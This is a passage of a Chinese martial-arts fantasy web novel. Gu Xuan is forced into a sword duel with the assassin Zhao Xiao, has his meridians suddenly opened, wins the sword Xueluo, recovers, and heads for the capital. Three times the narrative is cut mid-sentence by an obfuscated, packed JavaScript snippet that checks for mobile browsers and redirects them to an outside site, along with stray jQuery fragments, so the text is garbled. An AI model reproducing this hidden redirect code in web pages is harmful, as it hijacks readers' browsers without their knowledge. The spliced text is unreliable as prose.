顾暄:“哪来的□□?” 云谨瞥了红炮仗一眼,道:“也有这方面的因素,但高人配名剑岂不是更上一层楼?所以有名的剑仙的佩剑基本上都不会差到哪里去。” 几人说话间,擂台上的取刀取剑已经开始了,让他大跌眼镜的是两名长相姣好的年轻男女走上擂台,自称拍卖师,开始主持整个流程,价高者得。 看台上的人举牌开价,场内伴有悠扬琴声,侍者端着瓜果美酒来来往往,要不是身旁几人神色都很正经,顾暄还以为这是拍卖行呢。 柳无喧同他解释起来,“大部分剑都是拍卖的,少数的是要花钱加打架的。你可以看一下哪柄剑合你眼缘,到时候拍下来。” 顾暄嗯嗯应声。自己以前还是话本看多了,真以为剑门的剑是谁打架厉害谁取剑走,又或者是剑跟着人走,没想到铜臭味这么重。 那些刀剑他扫过一眼,没看到特别喜欢的,都没几柄比得上他哥的佩剑,自己的佩剑好歹跟哥哥的差不多吧。 顾暄听着台下拍卖了一个多时辰,都快睡过去了,骤然听见金石撞击声醒过来,才发现台下已经开打了。剑门给出一个铸剑成本价,然后几人在这个价格上开始以武会友,胜者取剑。 刀剑中先取刀,谢予问柳无喧有没有看得上的。 柳无喧目不转睛,盯着台下一柄黑金色刀身的长刀,说出的话很狂傲:“我要最好的。” 11. 意外 说完,柳无喧起身,懒懒地伸了个腰,身形一动,下一秒出现在结界内。虽然大梁武林主剑,但是大门派赤城便使刀,连同柳无喧一同下去的人有好几位赤城弟子。 柳无喧瞧着二十岁出头的年纪,武功却不弱,长刀气势恢宏,刀法甚至更胜一筹,看样子应该是快二重境上境了。他师出赤城,和几位对手还是同门关系,不知为何他拜师云庄。 一柱香后,擂台上剩下柳无喧和一个三十多岁的赤城弟子。柳无喧活动了一下筋骨,握着长刀的手有些震颤,笑道:“师兄,看来你我之间要决出胜负了。” 被称作师兄那人笑道:“是啊,那来看看花落谁家吧。”话都还没说完,这人就率先出刀了。 顾暄在台上看见,嫌弃之意溢于言表,这人也忒不讲武德了吧。 柳无喧早有预判,侧身躲了一下,两人用刀过了三十来招。柳无喧的刀法有赤城的“断山”刀法和“截水”刀法,顾名思义,都是非常霸道的刀法。但他会的对方同样会,现在就在比拼内力和其他功法。 不过,柳无喧的刀法又不拘泥于赤城所学刀法,还有一套顾暄看不出是哪个门派的刀法,与之前偏戾气的刀法不同,这套刀法如行云流水般灵动,透着一股雅意,有几分剑招化刀招的轻灵。 他细细看了看,没看出什么名堂。云谨轻敲着折扇的手一停,和旁边惊讶的谢予对视一眼,“哟,练成了啊,难怪他前阵子老是闭门不出。” 旁边有人惊叹,也有看出门道的人解释道:“这云庄弟子了不得啊,失传已久的刀仙的‘浮云刀法’怎么就被他学会了呢?” 顾暄记起来了,在以剑为主的大梁,也曾出过几位刀仙。其中一位是六十年前赫赫有名的刀仙,姓甚名谁不知,是男是女不知,生生将刀使出了剑的轻盈,一时在江湖上闻名。 难道那无名刀仙也是云庄的人?还是柳无喧的师父? 对面那人被柳无喧突然变换的刀法打了个措手不及,一时间脚步有些虚乱。那人咬咬牙,知道自己再不祭出杀招就要输了,于是大喝一声,长刀刀影在他背后变作千片万片,黑压压地朝柳无喧压下来。 柳无喧长刀不停,却在最后一刻用刀出了一招剑式,剑势有如高山将崩,直面的人唯余恐惧。这一剑精妙绝伦,引来场外呼声四起,连顾暄这种没开脉的都知道那一剑不简单,柳无喧不是使长刀的吗? 有人道:“这招怎么有点像……的‘量天’?” 云谨将嗓音压低,“师父要是知道有人这么说,得气得活蹦乱跳了。” 谢予看了看场中白袍纷飞的柳无喧,眼睛带了点不易察觉的笑意,“那师父不在真是可惜了。” 两人兵刃相交,产生的磅礴内力震得那结界都颤了颤,让界外的乐声都停滞了一瞬。 谢予和云谨迅速起身,脚尖在栏杆上一点,留下一句“你先待着,我们去扶他一把”,然后身影就出现在结界外。 结界内几秒耀眼的白光后,两人的身形渐渐显现。几秒后,赤城弟子往后退了一步,以长刀支地,半跪在地上,咳出一口血,哑声道:“你师父是内院哪位长老?” 柳无喧收回刀,扶了他一把,“你猜。” 那人偏头咳了一声,笑骂道:“啧…去你的,现在打完了还不肯说,这么忸怩,你是属知羞草的吧。” 柳无喧振了振衣袖,道:“你不是猜到了么?” 他没着急取剑,冲着高台上赤城掌门萧焱所在位置作了一长揖,萧焱对他点点头,跟身旁人喟叹道:“没选错,那家伙确实会教徒弟。” 柳无喧行完礼后,将一枚信物交给侍者,取了长刀下台,姿态潇洒。这人看着动作无异,只是衣衫破了些,嘴角带着点血迹。 但他一下擂台身体就失去了平衡,倒在两位师兄身上。那两人扶着他到一旁,一人输内力,另一人将准备好的丹药给他喂进去。 取刀之后就是取剑,不同于取刀的先次后精,取剑的顺序与之相反,大概是怕贵客们等不及了。上等剑取不到还可以看看中等剑,总不至于空手而归。 先上的是一柄浑身银白的剑,剑柄处刻着水纹,装着剑的盒子附近结了一层白霜,四个人费力抬着剑盒上擂台。顾暄摸着下巴,心道这莫不是重剑? 这时,魏巍站起身,向众人介绍道:“诸位,此剑为魏某四年之心血,取昆仑精铁而制。剑成之时恰逢初雪,剑名雪落,望有缘人识得此剑。” 一上来就是剑门首席铸剑师的作品,一下子把气氛给点燃了,不少人跃跃欲试准备下去。 这时,红炮仗身边一位戴着斗笠的黑衣男子下去了,他抬手间露出手背上的刺青,一个黑色的鬼面图腾。 顾暄一愣,随后心里泛起惊讶,这竟然是数十年前隐宗赫赫有名的杀手无涯客赵霄,此人境界必然在三重境以上。 问题是他的佩剑没折,好好放在自己腰上,他为什么要下去蹚这浑水? 高台上一些人脸色变了。 取剑,尤其是高品阶的剑,最忌讳代人取剑。大家都是靠实力取剑,凭啥你有外挂? 赵霄取下斗笠,一道疤痕横在他的左脸上,他说话言简意赅:“赵某这把剑盹了些。” 一部分人愤愤不平,另一部分人的目光则落在红炮仗身上,红炮仗眼睛都没眨,嘴角往下撇了撇,全然不在乎他人的目光,看起来更欠揍了。 几个门派的年轻弟子先后上去,青城山那弟子据说还是下一代的掌门。差了一重小境界还可以勉强一搏,两重以上基本没戏。那赵霄是三重境高手,两个年轻弟子再怎么天赋异禀也是最多接近三重境。 一位赤城长老看见自己的弟子从擂台上一瘸一瘸走下来,徒手将茶杯捏碎了,目光转向红炮仗,阴森道:“阁下未免欺人太甚。” 明眼人都知道,那赵霄数十年未出现在江湖上,一出现便是取剑,况且他那佩剑陪他几十年,断不可能无端端换剑,“剑钝了”这借口未免太烂了。 红炮仗不屑地笑笑,语气也不客气,“哼,胜者取剑,败者下台,欺人太甚在何处?赤城位于大梁南部,老头你肝火太旺了,回去喝点凉茶吧。” 随着他说话,站在红炮仗身旁的侍卫不约而同将刀出了几寸,刀鞘上印着一只展翅欲飞的老鹰,神态凶狠。 顾暄一愣,脑海中想起一个姓氏。 北地沈氏,北安王。除了姓谢的西定王外,镇守四境的三大异姓王之一。 这人带着北安王的亲卫,身旁还跟着赵霄,身份应该是北安王最宠爱的独子,叫啥他倒忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278643|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 在场一些人认出了那个图腾,原本想要说话的人看了看红炮仗,嘴还是闭上了。 那老头气得胡须一抖一抖,也只能狠狠拂了拂袖子,怒道:“北安王,好大的架子。” 红炮仗哼道:“那又如何?” 顾暄凭栏观景,将这一幕看得清清楚楚。他倒不怎么怕这个北安王世子,毕竟他爹还是东平王呢。于是他摇摇头,说了句“世道不古啊”。 赵霄在擂台上问:“还有谁要取剑?” 顾暄的目光落在擂台上,一时间没有留意到后面传来的风声。等回过神来,后腰一痛,双手凌空抓了几下,随后他的视线就颠倒了。 最后一眼是那红炮仗环抱着手臂的欠揍模样。 顾暄向来不会将该骂的话隔夜,他怒骂道:“我日你祖宗——” 高台上众人看见一个人姿态不甚优美地落了下来,手脚扑腾得像只身手矫健的青蛙。这人在半空中翻了几圈,轻功不知是哪派的,在楼壁上撑了几下,最后落在结界里。因为冲击力太大,他踉跄几下,摔了一跤,脸着地趴在赵霄的脚下。 一时间一阵哇声和嘘声。靠近他们那几桌的人知道这北安王世子把那人踢了下去,纷纷摇头,对顾暄报以同情的视线;不熟悉的人以为这家伙是年少轻狂跳下擂台挑战赵霄。 但他出师未捷,还没打架就吃了一嘴灰尘。正所谓“一鼓作气,再而衰,三而竭”,他的士气还没立起来就衰了。 还没爬起来,赵霄锃亮的剑锋就映入他的眼中。顾暄反应过来,在地上滚了一圈,避开了赵霄刺来的剑。 顾暄恼了,手脚功夫不行,便靠嘴上出气。“好了不起啊,有道是‘表动景随’,做下人的不讲武德,主人能是什么好东西?” 赵霄身体力行地展现了什么叫不是东西,他比他那跋扈的主人更没有人样,毫不留手。 顾暄拿出轻功在结界里乱窜,想也该想到了,赵霄这几天跟在红炮仗身边,将两人的矛盾看得一清二楚,此时是要拿他出气呢。 谢予和云谨又喂药又输内力,赶在这人昏厥前把他整醒了。柳无喧缓了过来,睁开眼后便听到台上一片嘘声和哇声,他心想莫不是自己的英姿吸引了诸位好汉,这声音才姗姗来迟? 正思索着用什么样的姿势回到看台,等他定睛一看,登时一个激灵:看台上的顾暄不知为何来到了擂台上,正被赵霄追着打呢。 那无涯客赵霄,连他上去都未必能打赢,没开脉的顾暄上去做什么?送人头吗? 其他两人脸色难看得要滴出墨水来。在顾暄脸着地时,谢予回头一看,就猜到了是那北安王世子搞鬼,问题是世子扬着脸,并不避讳这一缺德行为。谢予刚要上去将顾暄带回来,那无涯客赵霄就出手了。 动作快得不知道是不是故意的。 沧蓝珠围成的结界亮光一闪,登时将谢予隔在外边。 这下好了,那两人算是困在结界内了。沧蓝珠和九人剑阵有个不知是好是坏的问题,一旦结界内的人开始打斗,外面便无法进人,除非两方决出胜负。这也是为了防止外边有人扰乱结界内的决斗,还能防止结界里的人用其他手段开挂。 可是对于顾暄这种手不能提、肩不能抗的公子来说,这就遭罪了。 12. 开脉 顾暄随身配着一把没有灵力的剑,纯粹是装饰用的,不需要内力也能拔出。 他仗着自己轻功不错,躲开了赵霄几剑。虽然天下武功唯快不破,但在绝对的实力面前,这点就不够看了。 他被赵霄狠狠踹了一脚肩膀,整个人飞了出去,撞在结界上。 谢予转身,月白色衣衫在微风下轻轻晃着,他拔出剑,剑指北安王世子,罕见地冷了脸:“住手。” 北安王世子摊了摊手,神色倒真有那么几分无辜,“公子又不是不知道,结界要决出胜负才能打开。况且我们在外面说什么,他们又听不清。” 柳无喧冷笑一声,在云谨的搀扶下慢慢起身,道:“你最好真的能承担那个后果,世子。” 见那该死的赵霄没有停手的意思,顾暄知道自己今天可能要丢半条命了。他咬咬牙,笨拙地格剑去挡赵霄的剑,剑法全然是回忆起顾映的剑法,顾映习得师父沈畅的“神畅”剑法与顾家祖传的“修远”剑法,但看久了不代表实践中真的会使。 刚开始众人以为这人敢挑战赵霄,必是一位了不得的少年英雄,顿时喝彩不断。可细细看下来,脸色又古怪起来,此人看着无内力,剑法看不出是哪一家的,就像个“融合派”一样。 最后一波人还存留侥幸心理,以为这人在留手,等着赵霄疲惫就拔剑而起。直到看到顾暄的剑断了,这些人才意识到这是个送死鬼。 众人瞅了瞅北安王世子,不约而同地觉得这人真是缺德到祖坟了,北安王教出这么个混世魔王,不知是祖坟着火还是神君不灵。 顾暄此时已经非常狼狈了,衣衫比柳无喧的兰花白袍还破烂,整个人咳了几口血出来,又被他胡乱抹掉,整得半张脸都红了。 台上不少人看不下去了,出言道:“世子,这人都被打成这样了,何不留手呢?大家日后好相见。” 要是被顾暄听到指定得气得跳脚,他发誓他下台后一定要狠狠练功,把赵霄和他那该死的主子套麻袋痛扁一顿。还日后好相见? 我呸!老死不相往来还差不多! 谢予看了会,料定赵霄是要将顾暄整个半死了。剑光一闪,一道锋利的剑气就冲着结界而来,震得离他最近那守护剑阵的两人身子都抖了抖。 他竟是要直接破开结界! 眼见一击不成,谢予脸色一沉,七八道剑气就甩了出去,跟炸药似的打在结界上,炸了个火树银花。 云谨也来帮忙,在两人的攻击下,结界不断颤动着,但还没有裂痕。 毕竟这沧蓝珠和九人剑阵,可以供两位三重境以上的高手在里面打斗,谢予离三重境还差点意思,云谨也是二重境上境,饶是两人的攻势很厉害,结界一时间也没有破开。 北安王世子站起来,很不满没看到顾暄被痛扁这一环节就有人跳出来,他面色不悦道:“这不是作弊吗?古往今来还没有人破坏结界的……” 话没说完,一道白光冲他闪过来,几个亲卫连忙挡了上去。奈何那剑气带着凌厉的杀意,三四个人都没挡住,于是红炮仗被掀翻在地,整个人撞在桌子上,一时间茶壶点心洒了一地。 谢予的声音在安静的高台上异常清晰,像冬天化不开的雪,“你、闭、嘴。” 被那道剑气波及,世子按捺住脸上的黑气,赵霄现在还在里边,那人看着修为不低,破不开结界,对付自己还是绰绰有余的。遂真正闭嘴。 结界内,顾暄不知道外面是什么世界。他被一掌击中,整个人摔在地上,感觉五脏六腑都碎了一遍,搞不好几根肋骨兄要与他拜拜了。 那枚三角形的坠子露在外面。顾暄躺在地上还在想,这么强的内力,这坠子不会碎了吧?他可是戴了六年的,从九岁戴到现在。 在他看不到的地方,他的眼睛闪过两抹不同的颜色。 意识越来越模糊,他的眼睛快看不清了,只能模糊看到黑白两色,赵霄的黑靴子向着他缓缓移动。 失去意识那一瞬,顾暄想,这也太丢人了,被赵霄当着这么多人的面痛打,他还要不要脸了?要是有人认出了他,传信给东平王,他爹和他哥指不定心疼死了。 不知道是不是他出现幻觉,脑海里忽然出现一个低沉又古怪的笑声,细听还有几分愉悦。 下一秒,顾暄被提了起来,赵霄刻意压低的声音传来,“这次给你一个教训,下次再敢对世子不敬,我就……” 就在此时,变化陡生。 “咯…咯……”顾暄忽然笑了笑,声音又低沉又古怪。 赵霄神色一凛,抬眼便看到顾暄垂着眼睛看他。那双眼睛不知为何,一只眼慢慢变红,另一只眼却变成紫色的了。因为流血,他下半张脸都是红的,整个人看上去就像地狱里爬出来的恶鬼。 赵霄心里一惊,当即要把他甩出去。 顾暄却抓住了他的手,力气之大,让赵霄一时间动不得。下一秒,顾暄一脚往赵霄的膝盖骨踢去,生生把他逼退了几步,提着顾暄领子的手也松开了。 在结界外的众人看到这一幕狐疑不已,难道是赵霄打了这么多场累了?所以顾暄才得手?这家伙最初不使内力,是扮猪吃老虎? 另一些人看着那异色的眼睛,则怀疑他是走火入魔了。 赵霄面色不变,心里却泛起惊涛骇浪。这人是什么情况,回光返照?怎么突然间像变了一个人一样?可他刚刚确认了这人没有内力的。 顾暄站了起身,用袖子擦了擦下半张脸,重新露出那张白皙的脸。随后,他身上爆发出一阵磅礴的内力,扬起一阵灰尘。名为雪落的剑颤动着,剑身一闪,竟然来到了顾暄手上! 众人还没看明白是怎么回事,下一秒,顾暄便闪到赵霄跟前,提剑劈了下去。 赵霄不敢轻敌,使尽全力提剑挡着,两人的剑相交的地方擦出一阵激烈的火花,照亮了顾暄那半张阴森森的侧脸。 赵霄刚对战完两个极具潜能的青年才俊,此时被这剑一压,生生退了几步。两人过了大概二十来招。顾暄的招数狠辣,不成体系,看不出门派,却将赵霄打得节节败退。 结界颤抖得越来越厉害,支撑剑阵的九个人的佩剑不停摇晃着。 随着赵霄的剑脱手飞了出去,结界“轰”的一声,守剑阵的几个人倒了下来。 结界竟然碎了。 场内的人眼都大了,不知道顾暄是鬼上身还是回光返照,有人甚至还说他刚开始是藏着狐狸尾巴,等着赵霄疲惫时露出庐山真面目。 唯独谢予几人脸色不对。他的内力不是被封住了吗?他不是没有开脉吗?哪来的内力? 形势反转,顾暄掐着赵霄的脖子,前后不到一柱香时间。赵霄扒拉着他的手,嘴里断断续续吐出几个字,“三…三重境…你也是……” 世子飞身而下,一掌轰来,厉声道:“不准动他!” 紫光在顾暄另一只眼睛里流转了一圈,他笑了笑,嘴角愉悦地提了提,甚至那双漂亮的眼睛也弯了起来,但与之相反的是毫不留情的动作。 他没躲,和北安王世子对了一掌。两秒后,世子就像断线风筝一样飞了出去。 顾暄的手用力了几分,如愿听到那人咔咔的声响,他把赵霄随手一扔,说道: “废物。” 场中安静得只能听见风声,落针可闻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278644|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾暄的手背在衣袍上不甚在意地擦了擦,浅黄色衣衫染上点点血迹,看起来格外触目惊心。 他的手一伸,剑鞘就飞了过来。顾暄收剑入鞘,提着那把剑往台下走去。他垂着眼睛,每走一步,眼睛里的颜色就淡几分,最后彻底回复原来那如墨一般的黑色。 还没说一句话,他眼睛一闭,就倒了下去。 这一反转惊得场内众人目瞪口呆,不少人怀疑自己眼光出错,毕竟一开始他们都感觉不到这人身上有内力波动。谢予按住他的脉搏,脸色大变,“不好,他强行开脉了。” 昏迷期间,顾暄感觉自己做了很多个梦,很多次走上高台,然后被人掐住脖子;要么是坐在上首的神秘男子跟他爹说话,他则是垂着头坐在王爷身边;也有看着顾映习武,自己在树下乘凉睡觉…… 他睁开眼时眼前一阵模糊,睁了好一会儿眼睛才聚上焦,看清了头顶的白纱帐。屋内点着艾草香,闻了一会便觉心神渐渐安定。 一个人坐在离他不远处的椅子上看书,看见顾暄手指动了动,将书搁在一边,起身坐在床边,道:“你醒了?现在感觉如何?” 声音轻柔,是云谨。 他扶着顾暄起身,给他倒了杯水,看着他喝完两杯水才有力气说话,“感觉全身都散架了。” 这话不是胡说八道,最初醒来时动一动,全身就像被马车来回碾了几遍一样,酸痛得不像他的身子。 云谨的手搭在他的脉搏上,分了一缕内力进去,说:“那日你与赵霄的对决太激烈了,最初你是被他按着打的,身子酸痛也正常。” 顾暄只听到了他被赵霄按着打那句,下意识忽略了前面一句。他喝完水,问了个最关切的问题:“我睡了多久?” 云谨还没说话,门外便传来一个大大咧咧的声音,“少爷,你睡了大半个月,要不是邹神医说你没事,我们都要传信师父了。” 珠帘被一把折扇挑起,谢予进来了,身后是一身青衣的柳无喧。 顾暄懒洋洋地靠在床头上,有气无力道:“这么久?我还以为就躺了几天。邹神医是谁?” “神医谷谷主大弟子,邹木。”柳无喧说,“你运气不错,刚好她也来了剑门。” 神医谷,是与南湘药王谷并称当世两大能医死人、药白骨的地方,谷中的弟子出来便是一方医师,谷主的亲传弟子更甚。不过这两大谷收徒人少,行踪也不稳定,可能在谷中,可能在江湖悬壶济世,找到她们全凭运气。 “说到这里——”柳无喧不怀好意地笑笑,“你这小子,最初晕过去了,我们要给你换衣服,感觉到有人近身,你还紧紧揪着衣服不让我们动手,嘴里说什么不要你们、喊个侍女过来,我们只好依言……要不是看你后面半个月都没动静,我以为你小子故意的……” 顾暄大窘,说话也结巴了,“什么鬼……我…我这是习惯了好吗?府中……一向是侍女给我更衣的……” 柳无喧“嚯”了一声,含笑道:“紧张什么?放心,你的贞操还在……” 贞操在不在已经无所谓了,他可以肯定柳无喧的羞耻心是一点都不在了。 顾暄狠狠瞪了眼他,谢予轻咳了一声,将众人的目光移到他身上。谢予脸上还是那副温和的表情,说:“那日对决到了后面,你突然开脉了,把赵霄打了一顿,取回了那把剑,无喧师弟这几日羡慕得很。” 顾暄茫然道:“什么意思?谁打了赵霄?我吗?” 他不是被赵霄按着打吗? 柳无喧将那柄剑递到他眼前,剑身透着银白色的雪光,靠近甚至能感觉到冷意,真如它的名字“雪落”一样。 13. 先天玄脉 顾暄看了看雪落,又抬眼看其他三人,还是一副茫然的表情。 他晕过去这段时间发生了什么?赵霄被他打了一顿?自己还赢了这把剑?妈呀,他做梦都不敢这么想。 柳无喧瞧他的神色不似作伪,吃了一惊,下意识探了探他的额头:“不会吧,你失忆了?” “不排除这种可能。”一个清冷的女声响起,一个三十来岁的女子从外边进来,除顾暄外的几人纷纷起身见礼,顾暄便知道这是邹木神医了。 顾暄略一低头,恭敬道:“邹神医。” 邹木示意他伸出一只手,自己坐在床边给他把脉,“过誉……脉象还有些微弱,估计要再休养几天。至于失忆的事……你开脉时接近走火入魔,升境太快,之后境界猛地跌下来,对经脉的冲击太大,估计把这段记忆给忘了。也不是什么大事……” 顾暄一边点头一边愤愤地想,真是如此的话怎么不忘了他被赵霄痛扁的那一段记忆?怎么就偏偏忘了自己痛打赵霄那一段?他可是全然没有印象的呀。 并非所有人开脉时都是一帆风顺的。部分人会借用丹药或者让人帮忙开脉,但一不小心过了头,便会境界大涨,涨了之后经脉可能承受不住就碎了。 万幸万幸,他的经脉没碎。 顾暄想起自己晕倒前听到的那个声音,脸色敛了敛。那赵霄看着是三重境以上的实力,跟两名优秀弟子对决后,除非强行开脉的自己到了二重境以上的实力,不然自己绝无可能赢了他。 究竟是怎么回事? 邹木又换了一副方子,确认完顾暄没什么大事后出去了。 谢予重新坐回座位,看着歪在床头上没个正形的顾暄,道:“那日你将赵霄击败后,体力不支晕了过去。后面发现你已经开脉了,甚至内力也达到了一重境中境,不过后面内力不稳,又退了下去。” 顾暄的手动了动,他看了看自己手上细碎的伤痕,心里反倒觉得有些不切实际,“开脉?我吗?我哪来的内力?” 谢予说:“你平时是否会喝药茶?或者吃丹药?” 江湖上有人追求快速升境,主要是靠服药,无论是丹药还是药茶。 顾暄想了想,前几年贼人伤着他的底子,王爷便托人找来一副方子,让他隔几天服用药茶,一连坚持了几年,他的身体也逐渐好转。 他不知道会不会和这个有关,便把这些说了出来。 谢予跟其他二人对视一眼,说:“药茶里可能放了一些东西,让你的经脉在被封住的情况下仍然有了一重境甚至更高的基础。那天赵霄伤着你,反而激发了你的潜能,让你顺势开了脉,这也算一件好事吧。不过内力涨得那么快,甚至能和内力消耗了一半以上的赵霄媲美,倒有些诡异,得回去问问师父。” 被封住的经脉,每隔几天的药茶,王爷这是想干嘛?他有些迷茫,他想写信给顾柳青,又怕他不肯说。 顾暄脸上敛去了那点担忧,转为一副笑容,“太好了,得亏那天打了赵霄一顿,不然这口气我咽不下。开了脉的话,我以后就可以习武了。” 一想到这个,他又有些神往。当初被告知开脉困难时,他伤心了好一阵子。 柳无喧坐在梨木椅上,嘻嘻笑道:“那天赵霄和他主子都被你打趴了,那世子的脸色难看得要死,又不得不认账,毕竟他们就输了。” 顾暄:“那北安王世子叫什么来着?他的名字我给忘了。” 谢予说:“沈昧,日字旁那个昧。” 顾暄说:“哦哦我知道,是昧着良心那个昧。” 听了他这话,柳无喧肩膀一抖一抖地笑起来,他发现顾暄这人真是有意思,有仇必报,连口角之争也不放过。 他笑完正色道:“好了,再休整几天我们就得赶往京城了,云庄的大选要开始了,你想好要拜师哪位长老的门下吗?” 云庄大选,四年一届,选拔有长处的弟子入门学习,比如文赋,比如武功,比如用毒,比如药理。云庄又分外院和内院,内院有庄主和三大长老,谢予他们几个应该是内院某位长老的弟子,不然不会年纪轻轻实力就这么厉害。 谢予也就二十、二十一岁左右,实力就快接近三重境了。他的两位师弟和他年岁相仿,也达到了二重境上境了。 这么说可能还不太明白几人的天赋。普通习武者,十七岁甚至未到一重境,况且每上一重境就困难加倍,二十多岁还在一重境的比比皆是。 这三人这么年轻,实力却很强,当得上一句天赋异禀。 顾暄想了想,问:“你师父应该没有指定我要拜师到谁的门下吧?” 谢予说:“是,他只让你拜师云庄。” 哦,那内院外院都无所谓了。可是…… 顾暄想了想,问:“云庄是不是庄主最厉害?我要拜他为师的话要达到什么条件?” 他的想法是先试试最厉害的那个人,拜师不成再依次往下选,如果反过来的话可能会错失良机,这道理就跟剑门取剑一样。 几人这下真的惊讶了,这人刚开脉不久,一上来就问拜师庄主的条件,被旁人听到了都会说这是失心疯的程度。 云谨打开折扇扇了扇风,那双潋滟的桃花眼弯了下来,笑道:“云庄确实是师父最厉害,不过要拜师到他的门下得过了大选。” 师父…… 顾暄反应过来,“你们的师父是庄主?” 柳无喧点点头,“是啊,我们如此天纵奇才,只有他才配得上我们。”其余二人一人的大半张脸隐藏在折扇下,另一人喝茶不说话,似乎是对这倒反天罡的话免疫了。 顾暄也不惊讶,只是点了点头,“难怪呢。” 柳无喧坐在梨木椅上的身子朝他那个方向倾斜了几分,带着点好奇说道:“我觉得你好像对什么都见怪不怪……无论是北安王世子,还是我们几个,还是师父。” 顾暄心想,北安王和东平王爵位相同,所以他不害怕,况且他的背后也是王府;柳无喧几人年纪轻轻就是二重境以上的高手,拜师内院也不足为奇;至于谈到拜师庄主,难道这几百年间就没有什么大放厥词、异想天开的人吗?总不会人人都自谦至极吧? 顾暄脸上不显,只高深莫测地点了点头。 因为大选在即,几人又休息了几天,等顾暄能下地走路了便开始赶路。他们拜别魏巍门主——魏巍看到自己千辛万苦锻造出来的剑没有落在赵霄手上,心底里松了一口气,对顾暄说了一堆什么“少年有为”“好好加油”“名扬天下”之类的话。 江湖朝堂本为两体,但剑门身处凡世,税收什么的还要交的呢,跟地方官员不可能说没关系。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278645|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 话末,他有些担心,道:“那北安王世子这次弑羽而归,魏某担心他日后会找公子的不是。” 顾暄当时正拿着自己那把雪落在看,闻言笑道:“魏庄主不必担心,北安王与我父亲是旧识,他要是知道我的身份断不敢乱来的。” 魏巍微微瞪大眼睛,“你是——” 柳无喧站在魏巍身旁,替他接下了接下来的话,“他是王爷的孩子。” 和北安王同为旧识,又姓顾的,魏巍想到了当年和信王并称为“京城两大美男”的东平王顾柳青。顾柳青的长子名叫顾映,去年游历时在荆州、梁州一带小有名气。 东平王的次子比他的哥哥名气小很多,据说没出过东临城,是个体弱的少爷。然而,这位少爷取走了剑门这年出品的最好佩剑。 几人这次要经一段水路到巴城,从成都平原北上至汉中一带,再经官道到京城。他们离开剑门时是七月末,越往北,秋天的痕迹越明显。 金风送爽,丹桂飘香,层林尽染。 一路上,往京城的人多了起来,估计不少是为了云庄这次的大选的。顾暄这下真切感受到大选竞争的难度了,有地方官员的孩子,有江湖门派的弟子,说句群英荟萃也不为过。 等顾暄差不多能活动自如,他便开始习武。顾映给他收拾行李时,在里边塞了几本自己绘制的书。顾暄打开一看,眼眶就酸了。 这上面画着图案,有口诀,有注解,是顾映习武师父教他的。一共三本,顾映不知道多久前开始写了,有些字迹还带着些稚嫩,越往后字迹越成熟。 在马车上,顾暄就加班加点看书。一到某个地方休息时,他就开始练武。 柳无喧几人闲着也是闲着,得空时便轮流过来指导他动作,这里走错了,那里剑法不对,和人过招时应该这样避让。 柳无喧为了让他在未来与人对决时灵活一些,甚至教了他几招赤城的刀法。独门功法一般不轻易外传,不知道赤城的掌门知道后会不会气得哇哇叫。 顾暄练得满头大汗,柳无喧在一旁指导他,其余二人坐在远一些的地方品茗观看。 云谨问:“你觉得他天赋如何?” 谢予慢悠悠地给自己续上一杯茶水,等吹开茶杯上那阵白气才开口:“很好。一方面离不开那药茶的作用,另一方面不知道为何,他的经脉异于常人,让我想起传闻里的先天玄脉。” “另外,那日赵霄虽然耗去了大部分内力,但水平对付一重境的人还是绰绰有余的,怎么会几下子被顾暄打得还不了手呢?” 先天玄脉,被誉为“天地造物”,据说一出生就有不低的修为,别人开脉后的基础修为是一重境,先天玄脉的可能更高。但目前来看,顾暄展现出来的还是一重境下境或中境的实力,而且还是靠药茶喝出来的。 云谨道:“我还以为先天玄脉是古书里杜撰出来的,现实中还没见过。他身上确实有许多疑点,难怪师父非得让这人到云庄。少年天才,若不能为我道所用,只怕也是个麻烦。” 谢予搁下茶杯,目光落在顾暄因为练武甩在衣服外的三角形黑玉坠子,忽然道:“那坠子不错。” 云谨看过去。 谢予起身,因为他那不靠谱的师弟差点就误人子弟了,他要过去纠正,免得那看着不错的苗子长歪了。 14. 入京 一路奔波,八月九日,他们终于抵达了京城。 站在巍峨的城门下,看着车队和行人依次穿过城门,顾暄心里才真切有了一些到了京城的感觉。 他特地走下马车,脸上的好奇藏都藏不住,柳无喧在旁边充当本地吃喝玩乐第一人,喋喋不休地给他讲京城哪里吃饭最好、哪里游乐最好。 几人将顾暄安顿在一处客栈,给了他一只木鸟,让他有事传信自己,然后便回云庄复命了。抵京时是中午,顾暄在客栈一楼匆匆吃了点东西,便上楼给他爹和他哥回信。 剑门一战,跟在他们身后的侍卫因为没有及时保护顾暄,被王爷传信痛骂了一顿。 前几封信中,顾暄没提到自己经脉被封和药茶的事,只是说自己拿到雪落了,自己开了脉,然后自己和柳无喧几个人一路赶往京城。 